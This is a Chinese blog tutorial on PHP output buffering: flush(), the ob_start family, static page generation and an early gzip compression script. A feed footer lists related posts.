<br/>说明：使用过Perl的人都知道$&#124;=x的意义，这个字符串可以打开/关闭缓冲区，而ob_implicit_flush函数也和那个一样，默认为关闭缓冲区，打开绝对输出后，每个脚本输出都直接发送到浏览器，不再需要调用 flush() <br/><br/><br/>二、深入了解： <br/><br/>1. 关于Flush函数： <br/>这个函数在PHP3中就出现了，是一个效率很高的函数，他有一个非常有用的功能就是刷新browser的cache.我们举一个运行效果非常明显的例子来说明flush. <br/>Example 2. <br/><br/>&lt;?php <br/>for($i = 1; $i &lt;= 300; $i++ ) print(“ “); <br/>// 这一句话非常关键，cache的结构使得它的内容只有达到一定的大小才能从浏览器里输出 <br/>// 换言之，如果cache的内容不达到一定的大小，它是不会在程序执行完毕前输出的。经 <br/>// 过测试，我发现这个大小的底限是256个字符长。这意味着cache以后接收的内容都会 <br/>// 源源不断的被发送出去。 <br/>For($j = 1; $j &lt;= 20; $j++) { <br/>echo $j.” <br/>”; <br/>flush(); //这一部会使cache新增的内容被挤出去，显示到浏览器上 <br/>sleep(1); //让程序“睡”一秒钟，会让你把效果看得更清楚 <br/>} <br/>?&gt; <br/><br/><br/>具体效果你可以到这里看看http://www.php2000.com/~uchinaboy/out.php <br/>PHP2000的最新的PHP聊天室就是用的这个技术，可惜的是源代码未公开 L <br/>注：如果在程序的首部加入ob_implicit_flush()打开绝对刷新,就可以在程序中不再使用flush(),这样做的好处是：提高效率！ <br/><br/>2. 关于ob系列函数： <br/>我想先引用我的好朋友y10k的一个例子： <br/>Example 3. <br/><br/>比如你用得到服务器和客户端的设置信息，但是这个信息会因为客户端的不同而不同，如果想要保存phpinfo()函数的输出怎么办呢？在没有缓冲区控制之前，可以说一点办法也没有，但是有了缓冲区的控制，我们可以轻松的解决： <br/>&lt;?php <br/>ob_start(); //打开缓冲区 <br/>phpinfo(); //使用phpinfo函数 <br/>$info=ob_get_contents(); //得到缓冲区的内容并且赋值给$info <br/>$file=fopen(&#92;&#039;info.txt&#92;&#039;,&#92;&#039;w&#92;&#039;); //打开文件info.txt <br/>fwrite($file,$info); //写入信息到info.txt <br/>fclose($file); //关闭文件info.txt <br/>?&gt; <br/><br/><br/>用以上的方法，就可以把不同用户的phpinfo信息保存下来，这在以前恐怕没有办法办到！其实上面就是将一些“过程”转化为“函数”的方法！ <br/>或许有人会问：“难道就这个样子吗？还有没有其他用途？”当然有了，比如笔者论坛的PHP 语法加亮显示就和这个有关（PHP默认的语法加亮显示函数会直接输出，不能保存结果，如果在每次调用都显示恐怕会很浪费CPU，笔者的论坛就把语法加亮函数显示的结果用控制缓冲区的方法保留了），大家如果感兴趣的话可以来看看http://www.zphp.com/bbs/！ <br/><br/>可能现在大家对ob_start()的功能有了一定的了解，上面的一个例子看似简单，但实际上已经掌握了使用ob_start()的要点。 <br/>&lt;1&gt;.使用ob_start打开browser的cache，这样可以保证cache的内容在你调用flush(),ob_end_flush()（或程序执行完毕）之前不会被输出。 <br/>&lt;2&gt;.现在的你应该知道你所拥有的优势：可以在任何输出内容后面使用header,setcookie以及session，这是ob_start一个很大的特点；也可以使用ob_start的参数，在cache被写入后，然后自动运行命令，比如ob_start(&#92;&quot;ob_gzhandler&#92;&quot;)；而我们最常用的做法是用ob_get_contents()得到cache中的内容，然后再进行处理…… <br/>&lt;3&gt;.当处理完毕后，我们可以使用各种方法输出，flush(),ob_end_flush(),以及等到程序执行完毕后的自动输出。当然，如果你用的是ob_get_contents()，那么就要你自己控制输出方式了。 <br/><br/>来，让我们看看能用ob系列函数做些什么…… <br/><br/>一、 静态模版技术 <br/><br/>简介：所谓静态模版技术就是通过某种方式，使得用户在client端得到的是由PHP产生的html页面。如果这个html页面不会再被更新，那么当另外的用户再次浏览此页面时，程序将不会再调用PHP以及相关的数据库，对于某些信息量比较大的网站，例如sina,163,sohu。类似这种的技术带来的好处是非常巨大的。 <br/><br/>我所知道的实现静态输出的有两种办法： <br/>&lt;1&gt;.通过y10k修改的phplib的一个叫template.inc.php类实现。 <br/>&lt;2&gt;.使用ob系列函数实现。 <br/>对于第一种方法，因为不是这篇文章所要研究的问题，所以不再赘述。 <br/>我们现在来看一看第二种方法的具体实现： <br/>Example 4. <br/><br/><br/>&lt;?php <br/>ob_start();//打开缓冲区 <br/>?&gt; <br/>php页面的全部输出 <br/>&lt;? <br/>$content = ob_get_contents();//取得php页面输出的全部内容 <br/>$fp = fopen(“output00001.html”, “w”); //创建一个文件，并打开，准备写入 <br/>fwrite($fp, $content); //把php页面的内容全部写入output00001.html，然后…… <br/>fclose($fp); <br/>?&gt; <br/><br/>这样，所谓的静态模版就很容易的被实现了…… <br/><br/>二、 捕捉输出 <br/><br/>以上的Example 4.是一种最简单的情况，你还可以在写入前对$content进行操作…… <br/>你可以设法捕捉一些关键字，然后去对它进行再处理，比如Example 3.所述的PHP语法高亮显示。个人认为，这个功能是此函数最大的精华所在，它可以解决各种各样的问题，但需要你有足够的想象力…… <br/>Example 5. <br/><br/>&lt;? <br/>Function run_code($code) { <br/>If($code) { <br/>ob_start(); <br/>eval($code); <br/>$contents = ob_get_contents(); <br/>ob_end_clean(); <br/>}else { <br/>echo “<a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" class="st_tag internal_tag" rel="tag" title="标签 错误 下的日志">错误</a>！没有输出”; <br/>exit(); <br/>} <br/>return $contents; <br/>} <br/><br/><br/>以上这个例子的用途不是很大，不过很典型$code的本身就是一个含有变量的输出页面，而这个例子用eval把$code中的变量替换，然后对输出结果再进行输出捕捉，再一次的进行处理…… <br/><br/>Example 6. 加快传输 <br/><br/><br/>&lt;? <br/>/* <br/>** <a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">Title</a>&#8230;&#8230;&#8230;: PHP4 HTTP Compression Speeds up the Web <br/>** Version&#8230;&#8230;.: 1.20 <br/>** Author&#8230;&#8230;..: catoc &lt;catoc@163.net&gt; <br/>** Filename&#8230;&#8230;: gzdoc.php <br/>** Last changed..: 18/10/2000 <br/>** Requirments&#8230;: PHP4 &gt;= 4.0.1 <br/>** PHP was configured with &#8211;with-zlib[=DIR] <br/>** Notes&#8230;&#8230;&#8230;: Dynamic Content Acceleration compresses <br/>** the data transmission data on the fly <br/>** code by sun jin hu (catoc) &lt;catoc@163.net&gt; <br/>** Most newer browsers since 1998/1999 have <br/>** been equipped to support the HTTP 1.1 <br/>** standard known as &#92;&quot;content-encoding.&#92;&quot; <br/>** Essentially the browser indicates to the <br/>** <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a> that it can accept &#92;&quot;content encoding&#92;&quot; <br/>** and if the server is capable it will then <br/>** compress the data and transmit it. The <br/>** browser decompresses it and then renders <br/>** the page. <br/>** <br/>** Modified by John Lim (jlim@natsoft.com.my) <br/>** based on ideas by Sandy McArthur, Jr <br/>** Usage&#8230;&#8230;..: <br/>** No space before the beginning of the first &#92;&#039;&lt;?&#92;&#039; tag. <br/>** &#8212;&#8212;&#8212;&#8212;Start of file&#8212;&#8212;&#8212;- <br/>** &#124;&lt;? <br/>** &#124; include(&#92;&#039;gzdoc.php&#92;&#039;); <br/>** &#124;? &gt; <br/>** &#124;&lt;HTML&gt; <br/>** &#124;&#8230; the page &#8230; <br/>** &#124;&lt;/HTML&gt; <br/>** &#124;&lt;? <br/>** &#124; gzdocout(); <br/>** &#124;? &gt; <br/>** &#8212;&#8212;&#8212;&#8212;-End of file&#8212;&#8212;&#8212;&#8211; <br/>*/ <br/>ob_start(); <br/>ob_implicit_flush(0); <br/>function CheckCanGzip(){ <br/>global $HTTP_ACCEPT_ENCODING; <br/>if (headers_sent() &#124;&#124; connection_timeout() &#124;&#124; connection_aborted()){ <br/>return 0; <br/>} <br/>if (strpos($HTTP_ACCEPT_ENCODING, &#92;&#039;x-gzip&#92;&#039;) !== false) return &#92;&quot;x-gzip&#92;&quot;; <br/>if (strpos($HTTP_ACCEPT_ENCODING,&#92;&#039;gzip&#92;&#039;) !== false) return &#92;&quot;gzip&#92;&quot;; <br/>return 0; <br/>} <br/>/* $level = compression level 0-9, 0=none, 9=max */ <br/>function GzDocOut($level=1,$debug=0){ <br/>$ENCODING = CheckCanGzip(); <br/>if ($ENCODING){ <br/>print &#92;&quot;n&lt;!&#8211; Use compress $ENCODING &#8211;&gt;n&#92;&quot;; <br/>$Contents = ob_get_contents(); <br/>ob_end_clean(); <br/>if ($debug){ <br/>$s = &#92;&quot;&lt;p&gt;Not compress length: &#92;&quot;.strlen($Contents); <br/>$s .= &#92;&quot; <br/>Compressed length: &#92;&quot;.strlen(gzcompress($Contents,$level)); <br/>$Contents .= $s; <br/>} <br/>header(&#92;&quot;Content-Encoding: $ENCODING&#92;&quot;); <br/>print &#92;&quot;x1fx8bx08x00x00x00x00x00&#92;&quot;; <br/>$Size = strlen($Contents); <br/>$Crc = crc32($Contents); <br/>$Contents = gzcompress($Contents,$level); <br/>$Contents = substr($Contents, 0, strlen($Contents) &#8211; 4); <br/>print $Contents; <br/>print pack(&#92;&#039;V&#92;&#039;,$Crc); <br/>print pack(&#92;&#039;V&#92;&#039;,$Size); <br/>exit; <br/>}else{ <br/>ob_end_flush(); <br/>exit; <br/>} <br/>} <br/>?&gt; <br/><br/>这是catoc的一段很早以前的代码，是在weblogs.com看到的，他利用了zlib的函数，对传输的内容进行了压缩，测试表明，对于10k以上的页面，会产生效果，而且页面越大，效果越明显…… <br/></p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E7%94%A8%E6%88%B7ip%E3%80%81%E6%B5%8F%E8%A7%88%E5%99%A8%E3%80%81%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F.html" title="用户IP、浏览器、操作系统">用户IP、浏览器、操作系统</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidzaixiankaifagongjuappinventor.html" title="Android在线开发工具 App Inventor">Android在线开发工具 App Inventor</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/ep.html" title="让IIS只监听指定IP">让IIS只监听指定IP</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/php/%E7%94%A8php%E6%8E%A7%E5%88%B6%E6%82%A8%E7%9A%84%E6%B5%8F%E8%A7%88%E5%99%A8cache.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

